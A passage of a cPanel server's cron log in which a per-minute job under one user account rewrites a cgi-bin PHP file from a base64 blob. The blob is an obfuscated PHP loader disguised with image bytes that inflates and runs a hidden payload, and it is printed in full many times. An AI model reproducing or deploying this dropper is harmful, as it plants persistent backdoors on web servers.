&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:35:01 server CROND[2894]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 17:35:01 server CROND[2896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:35:01 server CROND[2895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:35:01 server CROND[2897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:35:01 server CROND[2898]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 17:36:01 server CROND[3903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:37:01 server CROND[4704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:38:01 server CROND[5524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:39:01 server CROND[6343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:39:01 server CROND[6344]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 17:40:01 server CROND[7180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 17:40:01 server CROND[7183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:40:01 server CROND[7182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:40:01 server CROND[7181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:41:01 server CROND[8156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:42:01 server CROND[9161]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 17:42:01 server CROND[9162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:43:01 server CROND[10031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:44:01 server CROND[10736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:45:01 server CROND[11603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:45:01 server CROND[11604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:45:01 server CROND[11605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:46:01 server CROND[12565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
